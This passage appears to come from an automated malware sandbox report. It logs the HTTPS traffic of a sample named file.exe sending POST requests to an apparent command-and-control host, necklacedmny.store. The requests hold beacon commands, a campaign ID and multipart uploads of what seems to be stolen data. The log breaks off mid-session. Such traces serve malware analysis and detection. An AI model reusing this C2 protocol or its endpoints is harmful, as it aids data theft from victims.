Oct 29, 2024 18:00:16.921693087 CET	1236	IN	Data Raw: 7d 91 12 5b 42 9f 82 10 f0 55 8a 10 d4 90 44 10 72 0b a2 17 f8 a0 59 4c d4 b0 a3 5c 01 40 9d 6c f1 fc 52 74 3a f5 e2 a9 76 60 a3 8c 94 b7 0a 67 72 f5 5a 11 85 70 97 33 91 55 e0 e4 a0 75 ba 10 13 a1 9c 31 20 c8 d0 47 20 9b a9 bc 70 8d 9b 4c f7 7d Data Ascii: }[BUDrYL\@lRt:v`grZp3Uu1 G pL}Vvv3D\Iq)ipo{%Hl8bsZU\|}}Iwe)>E}A,4\|UJ+YHKU}G:$)}uyJ11i9
Oct 29, 2024 18:00:16.921709061 CET	1236	IN	Data Raw: 2d cb e0 1c 3c 11 e1 19 3a b4 e9 68 50 5e a2 43 c4 60 d8 04 72 83 15 35 72 b9 e1 78 d8 12 84 67 c6 42 d2 11 c1 fd c2 17 e5 5b 58 f9 f6 72 a4 f4 f4 83 d6 70 ca 6e e4 21 76 a8 6e 3f 0e ef 4b 78 15 6a d2 70 d8 3d 07 8e 6e c4 48 79 36 a1 8c 56 53 cb Data Ascii: -<:hP^C`r5rxgB[Xrpn!vn?Kxjp=nHy6VS2A%_,n:lUYo&_rt!;\sH6gCT\EK}~OlzpNj$[rZiiJ<NRJ$GPjb
Oct 29, 2024 18:00:16.927115917 CET	1236	IN	Data Raw: 84 6a 9f 2e e5 d4 28 18 3a 4a a1 1c 1c 57 92 1b cd e7 98 ee 70 06 b1 fd 72 f7 82 80 41 0c 82 15 61 ea 30 c9 0c 74 11 8c bd c6 92 21 a7 63 cd 67 01 9d 71 63 f1 70 39 e6 8c 82 9b e1 0a f1 a2 0b 23 9e 89 f8 69 f1 96 0a 36 e6 95 0f 79 08 9b 2d 37 ec Data Ascii: j.(:JWprAa0t!cgqcp9#i6y-7M8Mi:5iypIr\|5\|q$1%-4H)qPx5z~,! Y*ppuaus`:p_':;7V[fH_jVHJD^jv

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49710	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:15 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 16:59:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 16:59:15 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lbc1f7bgj2bq3mgnk1g0tl583c; expires=Sat, 22 Feb 2025 10:45:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BkMnRqUyHSry6k%2BX2dX30RuJKINKthzORBFCj6qwPV3PVF4BAOAf9LKPqXsIQMSZOGhMAcj%2BqJZwjCerYS4wQ4W4%2BRPXIPyJunLsOlXCLRpYWKSnL79oVQZWUPPoikleqNNMYw0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da4b70bd8ec4754-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1183&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2335483&cwnd=247&unsent_bytes=0&cid=f8f0ee2a82bf761a&ts=540&x=0"
2024-10-29 16:59:15 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 16:59:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49721	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:16 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 16:59:16 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 16:59:16 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gdhrq4v21ql9t33htd2rtd9d7i; expires=Sat, 22 Feb 2025 10:45:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FwQ4yhDT%2FuRjC6PaZdjXI462K4LHxfF6dSifqUrKI3qgCiIsAEvlsS6mK4RvVRl6lGNvyDkC1sAStJ0Nf11csqXGzrwfW7OtsJ7INc40nRULr5PULrb4bz5AQDpHkGzo3VdkXDk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da4b713df82e84b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1077&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2511708&cwnd=251&unsent_bytes=0&cid=dd53fc7d67901359&ts=499&x=0"
2024-10-29 16:59:16 UTC	358	IN	Data Raw: 34 34 36 63 0d 0a 37 2f 43 54 2f 52 50 6f 41 67 39 56 6c 4c 62 54 72 2f 57 4a 72 43 6d 69 52 47 4f 48 6a 35 53 36 65 51 4e 4d 35 7a 55 52 69 4a 57 55 30 75 58 66 4b 64 77 75 4c 53 62 78 6c 4f 6e 62 68 2f 7a 4a 42 59 41 6c 42 36 57 31 38 74 73 56 63 43 6e 4c 46 32 66 6c 74 39 57 57 38 70 46 67 6a 53 34 74 4d 4f 79 55 36 66 53 4f 71 38 6c 48 67 48 35 42 34 75 58 32 32 78 56 68 4c 59 78 61 59 65 54 32 68 35 7a 30 6c 58 61 4c 5a 6d 34 35 2b 64 4f 32 79 70 54 6a 77 6b 44 50 4c 41 36 6c 6f 37 62 66 41 79 46 32 78 58 68 30 2f 50 53 69 6b 65 43 57 4d 5a 55 75 64 48 66 78 32 50 47 56 31 2b 6a 4a 53 38 34 69 42 2b 7a 6e 2f 4e 49 64 59 43 69 4e 52 58 6a 75 2f 59 65 53 39 35 52 38 67 6e 4a 6a 4d 2f 37 59 73 4d 43 55 71 34 41 4c 78 7a 35 42 76 61 32 6c 36 68 68 77 50 Data Ascii: 446c7/CT/RPoAg9VlLbTr/WJrCmiRGOHj5S6eQNM5zURiJWU0uXfKdwuLSbxlOnbh/zJBYAlB6W18tsVcCnLF2flt9WW8pFgjS4tMOyU6fSOq8lHgH5B4uX22xVhLYxaYeT2h5z0lXaLZm45+dO2ypTjwkDPLA6lo7bfAyF2xXh0/PSikeCWMZUudHfx2PGV1+jJS84iB+zn/NIdYCiNRXju/YeS95R8gnJjM/7YsMCUq4ALxz5Bva2l6hhwP
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 50 2f 33 66 74 4e 2b 63 34 73 4e 47 77 43 73 4c 36 75 37 32 33 78 46 72 49 59 39 54 66 75 66 78 6a 5a 4b 78 30 54 47 4e 65 43 31 76 74 76 65 30 33 5a 44 6e 32 41 6e 36 5a 68 36 72 39 4c 62 66 46 79 46 32 78 56 39 32 36 66 53 47 6e 66 4b 58 65 70 68 67 66 7a 48 37 30 61 50 4c 6b 75 58 45 53 4e 49 73 44 2b 50 75 2f 39 4d 53 5a 43 6d 42 46 7a 32 71 38 4a 58 53 71 64 39 51 68 32 74 68 50 65 48 55 38 64 4c 5a 38 6f 35 4d 7a 47 5a 5a 70 65 6e 33 33 42 70 6c 49 49 74 54 66 2b 7a 35 67 4a 33 33 6c 58 47 4e 61 6d 55 2f 39 39 6d 36 77 70 66 75 77 30 2f 47 4b 67 44 67 72 62 69 59 48 48 6c 75 33 52 64 64 37 66 53 66 30 4d 53 63 66 34 52 6e 65 33 66 70 6d 71 69 4e 6b 4f 65 4f 45 34 41 6f 42 4f 72 2f 39 38 6f 65 62 7a 79 4a 55 6e 58 6e 39 49 4f 53 39 4a 68 38 68 47 5a Data Ascii: P/3ftN+c4sNGwCsL6u723xFrIY9TfufxjZKx0TGNeC1vtve03ZDn2An6Zh6r9LbfFyF2xV926fSGnfKXephgfzH70aPLkuXESNIsD+Pu/9MSZCmBFz2q8JXSqd9Qh2thPeHU8dLZ8o5MzGZZpen33BplIItTf+z5gJ33lXGNamU/99m6wpfuw0/GKgDgrbiYHHlu3Rdd7fSf0MScf4Rne3fpmqiNkOeOE4AoBOr/98oebzyJUnXn9IOS9Jh8hGZ
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 71 69 4e 6b 4f 65 4f 45 34 41 71 43 4f 58 6d 2f 4e 77 62 5a 69 4f 41 56 48 54 70 2b 6f 71 59 2f 35 68 31 68 6d 6c 67 4d 66 62 54 74 63 69 46 37 73 64 48 7a 47 5a 50 70 65 72 75 6d 45 4d 68 41 59 4a 42 63 4d 58 30 6e 4a 75 78 67 44 2b 54 49 47 6f 37 74 6f 7a 78 79 70 4c 6a 78 55 33 49 4a 68 50 67 34 2f 33 5a 45 57 63 76 69 46 74 31 36 76 61 4e 6c 50 32 66 64 6f 31 79 66 7a 4c 77 78 72 75 4e 32 61 76 4a 55 34 42 2b 51 64 50 39 34 63 6b 4e 49 78 75 47 57 58 33 74 34 63 32 4e 76 34 59 78 6a 57 77 74 62 37 62 66 73 63 47 51 34 38 68 50 79 43 6b 4f 37 50 2f 33 31 42 56 7a 4b 59 56 65 66 65 58 37 68 4a 2f 32 6b 6e 71 41 62 57 6b 77 39 35 54 2f 6a 5a 44 7a 6a 68 4f 41 45 42 48 6f 34 64 6a 54 46 32 68 75 6d 68 6c 71 71 76 43 42 30 71 6e 66 64 59 5a 6f 5a 7a 6a 2f Data Ascii: qiNkOeOE4AqCOXm/NwbZiOAVHTp+oqY/5h1hmlgMfbTtciF7sdHzGZPperumEMhAYJBcMX0nJuxgD+TIGo7tozxypLjxU3IJhPg4/3ZEWcviFt16vaNlP2fdo1yfzLwxruN2avJU4B+QdP94ckNIxuGWX3t4c2Nv4YxjWwtb7bfscGQ48hPyCkO7P/31BVzKYVefeX7hJ/2knqAbWkw95T/jZDzjhOAEBHo4djTF2humhlqqvCB0qnfdYZoZzj/
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 44 76 79 45 53 41 61 45 48 69 39 62 61 41 57 30 34 4a 73 42 56 53 30 4c 65 53 33 4f 6a 66 64 6f 59 67 4e 58 66 36 31 37 33 46 6d 4f 33 48 52 38 6f 76 43 75 6e 6d 38 74 51 53 5a 43 69 45 55 6e 62 72 38 34 47 59 39 35 78 79 68 57 39 69 50 37 61 61 38 63 71 50 71 35 59 4c 35 54 45 4b 36 2b 75 32 78 31 56 34 62 6f 4a 62 4d 37 4b 33 67 5a 76 33 6d 58 53 47 59 57 73 2f 38 39 79 31 7a 4a 48 74 7a 55 54 45 49 77 44 71 36 66 72 57 45 57 41 76 69 56 78 38 34 66 4c 4e 33 4c 47 59 61 63 6f 34 4c 51 62 31 77 71 62 64 6d 36 76 52 42 64 6c 6d 42 75 6d 74 72 70 67 61 63 79 53 50 57 58 62 6c 38 6f 36 64 39 70 4a 33 68 6d 70 6b 50 2f 44 62 75 4e 2b 55 35 38 42 4d 7a 69 6f 50 36 4f 66 31 31 56 73 76 62 6f 4a 50 4d 37 4b 33 6f 5a 58 38 73 58 71 47 5a 79 30 6f 75 4d 33 78 79 Data Ascii: DvyESAaEHi9baAW04JsBVS0LeS3OjfdoYgNXf6173FmO3HR8ovCunm8tQSZCiEUnbr84GY95xyhW9iP7aa8cqPq5YL5TEK6+u2x1V4boJbM7K3gZv3mXSGYWs/89y1zJHtzUTEIwDq6frWEWAviVx84fLN3LGYaco4LQb1wqbdm6vRBdlmBumtrpgacySPWXbl8o6d9pJ3hmpkP/DbuN+U58BMzioP6Of11VsvboJPM7K3oZX8sXqGZy0ouM3xy
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 4c 6d 47 59 33 34 76 33 6d 32 31 6c 51 4f 49 5a 42 65 4f 66 37 7a 59 32 2f 68 6a 47 4e 62 43 31 76 74 74 4b 2b 78 4a 54 6b 7a 30 4c 4d 4b 77 54 73 36 50 66 65 48 32 73 6b 68 56 46 31 36 2f 4b 48 6b 66 43 56 65 49 31 6f 61 6a 54 6b 6c 50 2b 4e 6b 50 4f 4f 45 34 41 50 42 76 66 6a 35 70 67 45 4c 7a 66 46 55 48 2b 71 72 38 32 57 2b 35 42 31 6a 57 78 72 4d 76 44 5a 73 4d 4b 57 36 38 46 50 79 79 38 48 35 4f 44 7a 31 52 39 7a 4a 49 35 59 66 2b 50 37 67 4e 4b 2f 33 33 61 53 49 44 56 33 78 39 6d 2f 77 35 44 39 6a 6c 53 4f 50 30 48 69 34 62 61 41 57 32 41 69 69 6c 52 38 36 66 53 4d 6d 4f 4f 4e 66 59 4e 6f 61 44 76 39 32 72 66 66 6b 65 54 48 53 4d 4d 76 42 75 33 68 2f 4e 73 63 49 57 44 46 55 47 75 71 72 38 32 78 35 6f 39 38 79 6e 38 6a 4c 72 62 54 76 59 33 50 71 38 Data Ascii: LmGY34v3m21lQOIZBeOf7zY2/hjGNbC1vttK+xJTkz0LMKwTs6PfeH2skhVF16/KHkfCVeI1oajTklP+NkPOOE4APBvfj5pgELzfFUH+qr82W+5B1jWxrMvDZsMKW68FPyy8H5ODz1R9zJI5Yf+P7gNK/33aSIDV3x9m/w5D9jlSOP0Hi4baAW2AiilR86fSMmOONfYNoaDv92rffkeTHSMMvBu3h/NscIWDFUGuqr82x5o98yn8jLrbTvY3Pq8
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 44 75 72 6b 2f 39 77 54 59 69 36 42 55 33 54 76 39 49 47 5a 39 70 78 2b 6a 6d 6c 6a 50 76 6d 55 2f 34 32 51 38 34 34 54 67 41 63 61 35 75 48 37 6d 41 51 76 4e 38 56 51 66 36 71 76 7a 5a 37 2f 6d 6e 47 41 5a 6d 6b 79 38 4e 36 30 7a 5a 7a 6f 77 55 2f 47 49 67 37 6c 35 76 2f 5a 48 57 51 6b 6a 6c 46 2b 36 66 47 4c 30 72 2f 66 64 70 49 67 4e 58 66 57 7a 37 7a 42 6b 4b 76 52 42 64 6c 6d 42 75 6d 74 72 70 67 51 62 53 71 43 56 33 37 70 2f 34 69 57 2b 35 70 78 67 6e 4a 6c 4e 2f 48 47 6f 38 32 65 37 73 4a 49 77 43 49 48 37 4f 76 31 33 46 73 76 62 6f 4a 50 4d 37 4b 33 6f 4a 37 32 74 6e 61 52 49 48 4a 35 37 35 53 32 77 64 65 7a 6a 6b 72 4c 4c 41 37 6f 37 76 44 62 45 47 51 6b 68 46 42 37 35 2b 57 4f 6e 66 36 62 63 59 56 6d 61 7a 62 35 30 72 62 45 6c 75 50 4a 43 34 35 Data Ascii: Durk/9wTYi6BU3Tv9IGZ9px+jmljPvmU/42Q844TgAca5uH7mAQvN8VQf6qvzZ7/mnGAZmky8N60zZzowU/GIg7l5v/ZHWQkjlF+6fGL0r/fdpIgNXfWz7zBkKvRBdlmBumtrpgQbSqCV37p/4iW+5pxgnJlN/HGo82e7sJIwCIH7Ov13FsvboJPM7K3oJ72tnaRIHJ575S2wdezjkrLLA7o7vDbEGQkhFB75+WOnf6bcYVmazb50rbEluPJC45
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 2f 7a 66 43 32 59 35 69 68 63 39 71 76 6a 4e 79 73 6a 66 65 49 31 37 66 43 48 37 78 4c 61 4e 71 4b 57 4f 55 34 42 2b 51 64 44 75 2b 4e 59 63 64 7a 2f 49 63 47 58 67 38 4a 32 56 35 70 41 78 78 43 42 72 64 36 36 48 2f 34 32 54 2b 6f 34 54 6b 48 52 61 73 4c 36 68 69 45 6c 2b 59 4a 77 58 5a 61 71 76 33 39 79 78 6a 54 48 53 49 43 6f 30 35 4d 61 33 7a 6f 48 6f 69 58 58 2b 41 52 76 6f 36 2b 48 4a 4a 56 38 70 6e 31 70 31 2f 65 62 42 68 2f 4b 52 66 34 31 32 4c 58 6d 32 32 2f 47 56 72 71 75 47 43 2f 39 6f 51 66 32 74 72 70 67 75 59 69 43 4c 55 47 58 37 75 71 71 49 2f 4a 6c 6d 6d 79 41 6a 64 2f 43 55 36 5a 33 5a 71 38 70 61 67 48 35 52 74 37 61 6a 69 30 77 78 66 4a 6f 5a 61 71 72 68 7a 63 71 6a 30 54 47 59 49 44 56 33 73 64 65 6a 33 35 48 6f 32 45 69 48 47 44 2f 4c Data Ascii: /zfC2Y5ihc9qvjNysjfeI17fCH7xLaNqKWOU4B+QdDu+NYcdz/IcGXg8J2V5pAxxCBrd66H/42T+o4TkHRasL6hiEl+YJwXZaqv39yxjTHSICo05Ma3zoHoiXX+ARvo6+HJJV8pn1p1/ebBh/KRf412LXm22/GVrquGC/9oQf2trpguYiCLUGX7uqqI/JlmmyAjd/CU6Z3Zq8pagH5Rt7aji0wxfJoZaqrhzcqj0TGYIDV3sdej35Ho2EiHGD/L
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 68 76 49 49 4a 42 59 71 66 51 67 35 58 77 69 57 47 64 62 79 31 35 74 74 4c 78 6c 63 57 6c 6a 6b 2f 52 5a 6c 6d 31 76 36 32 4e 53 44 5a 2b 31 30 67 39 38 37 65 62 30 71 6e 4e 50 38 70 79 4c 57 2b 32 6b 37 4c 66 68 65 33 4e 58 63 4e 68 50 39 76 4b 2b 4e 38 61 64 7a 36 53 57 44 7a 45 77 61 79 73 7a 34 70 79 68 47 35 71 49 65 65 55 2f 34 32 59 71 35 5a 79 67 47 35 42 32 71 4f 32 77 46 73 35 62 72 42 55 66 65 54 77 6d 34 4f 38 75 48 2b 4e 59 58 73 6e 34 64 76 2b 34 36 48 4b 6a 67 57 41 49 45 47 39 76 37 69 59 48 33 42 75 33 51 63 68 73 61 4c 65 78 61 48 4e 62 73 52 35 4c 53 47 32 6a 4f 4f 44 31 2f 6d 4f 45 34 42 68 41 76 66 2f 38 4e 73 4e 59 6d 6d 37 61 56 54 6b 38 49 79 45 34 5a 4a 39 71 32 4e 38 50 63 6a 71 70 4d 36 5a 35 63 6c 64 30 57 5a 50 70 65 4b 32 67 Data Ascii: hvIIJBYqfQg5XwiWGdby15ttLxlcWljk/RZlm1v62NSDZ+10g987eb0qnNP8pyLW+2k7Lfhe3NXcNhP9vK+N8adz6SWDzEwaysz4pyhG5qIeeU/42Yq5ZygG5B2qO2wFs5brBUfeTwm4O8uH+NYXsn4dv+46HKjgWAIEG9v7iYH3Bu3QchsaLexaHNbsR5LSG2jOOD1/mOE4BhAvf/8NsNYmm7aVTk8IyE4ZJ9q2N8PcjqpM6Z5cld0WZPpeK2g
2024-10-29 16:59:16 UTC	1369	IN	Data Raw: 47 52 33 54 55 79 61 43 41 39 6f 39 79 79 45 78 71 4f 76 72 71 6a 2f 71 47 37 4e 34 4a 35 69 55 58 35 71 32 34 6d 41 4d 68 64 73 56 36 59 65 33 6e 6a 74 44 64 6d 48 79 47 49 48 4a 35 37 35 53 6e 6a 63 2b 34 67 41 76 53 5a 6c 6d 6c 71 76 58 4b 43 57 63 74 6b 31 51 30 31 4d 6d 67 67 50 61 50 63 73 68 52 59 44 50 67 77 62 4c 64 6b 4e 58 77 5a 74 49 68 45 65 61 76 30 2b 4a 5a 55 44 69 47 56 33 33 74 74 38 50 53 36 64 38 70 79 6b 31 2f 4d 4f 62 58 38 2b 69 74 71 66 39 64 77 79 59 50 34 71 33 70 6c 67 49 68 4f 4d 55 50 49 4b 53 33 6e 39 4b 70 33 7a 61 45 62 57 77 30 2b 4e 65 6a 33 35 48 6f 32 45 69 48 47 44 2f 4b 35 76 66 49 46 6e 41 6a 67 55 46 4e 31 4e 43 4c 6c 2f 61 68 54 37 31 78 61 69 65 30 38 72 4c 62 6c 4b 75 41 43 39 68 6d 57 61 58 4b 38 4e 30 63 49 57 Data Ascii: GR3TUyaCA9o9yyExqOvrqj/qG7N4J5iUX5q24mAMhdsV6Ye3njtDdmHyGIHJ575Snjc+4gAvSZlmlqvXKCWctk1Q01MmggPaPcshRYDPgwbLdkNXwZtIhEeav0+JZUDiGV33tt8PS6d8pyk1/MObX8+itqf9dwyYP4q3plgIhOMUPIKS3n9Kp3zaEbWw0+Nej35Ho2EiHGD/K5vfIFnAjgUFN1NCLl/ahT71xaie08rLblKuAC9hmWaXK8N0cIW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49727	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-29 16:59:17 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 33 32 35 46 30 37 46 42 43 42 42 33 41 43 30 46 30 31 31 37 36 46 42 38 37 45 30 32 46 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"20325F07FBCBB3AC0F01176FB87E02FE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 16:59:47 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pg8u263ohrarnqif9365beg57o; expires=Sat, 22 Feb 2025 10:45:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HAN33CLbQEz20cGPHW0G503D2M5KKaUxra7WG81q4e%2BzZtkVc46KawFnJtP0DHNdMfVs2U4etAF4jplBf%2B%2BUVAoTzL%2FNcTwYFsxdojywrzulE9ijUGFkjoNRcEA7%2Fkg503PwuJc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da4b71cff9d673f-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19986&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13791&delivery_rate=143829&cwnd=32&unsent_bytes=0&cid=6262183cb959c40a&ts=29340&x=0"
2024-10-29 16:59:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 16:59:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49893	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:48 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-29 16:59:48 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 33 32 35 46 30 37 46 42 43 42 42 33 41 43 30 46 30 31 31 37 36 46 42 38 37 45 30 32 46 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"20325F07FBCBB3AC0F01176FB87E02FE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 16:59:48 UTC	1026	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=he1r06v0tao0c8hskmen0rdhno; expires=Sat, 22 Feb 2025 10:46:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z231%2BtuW1lp6%2FtVL%2FDLgj4305wYl6q62yxu44ZKYa3HjZ7ntJ1vRd6vxYWZRL%2BR%2FBDcFZS0Jgnq3G%2F4jhJtj35ws6s%2BmWIopA7IgSKgYrCC2UPAN%2BhmwQ0DTkcnsKcZlgJ1ag1c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da4b7db0d3a06f6-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17749&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16023&delivery_rate=162952&cwnd=32&unsent_bytes=0&cid=6a860799df53e41e&ts=567&x=0"
2024-10-29 16:59:48 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 16:59:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49901	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
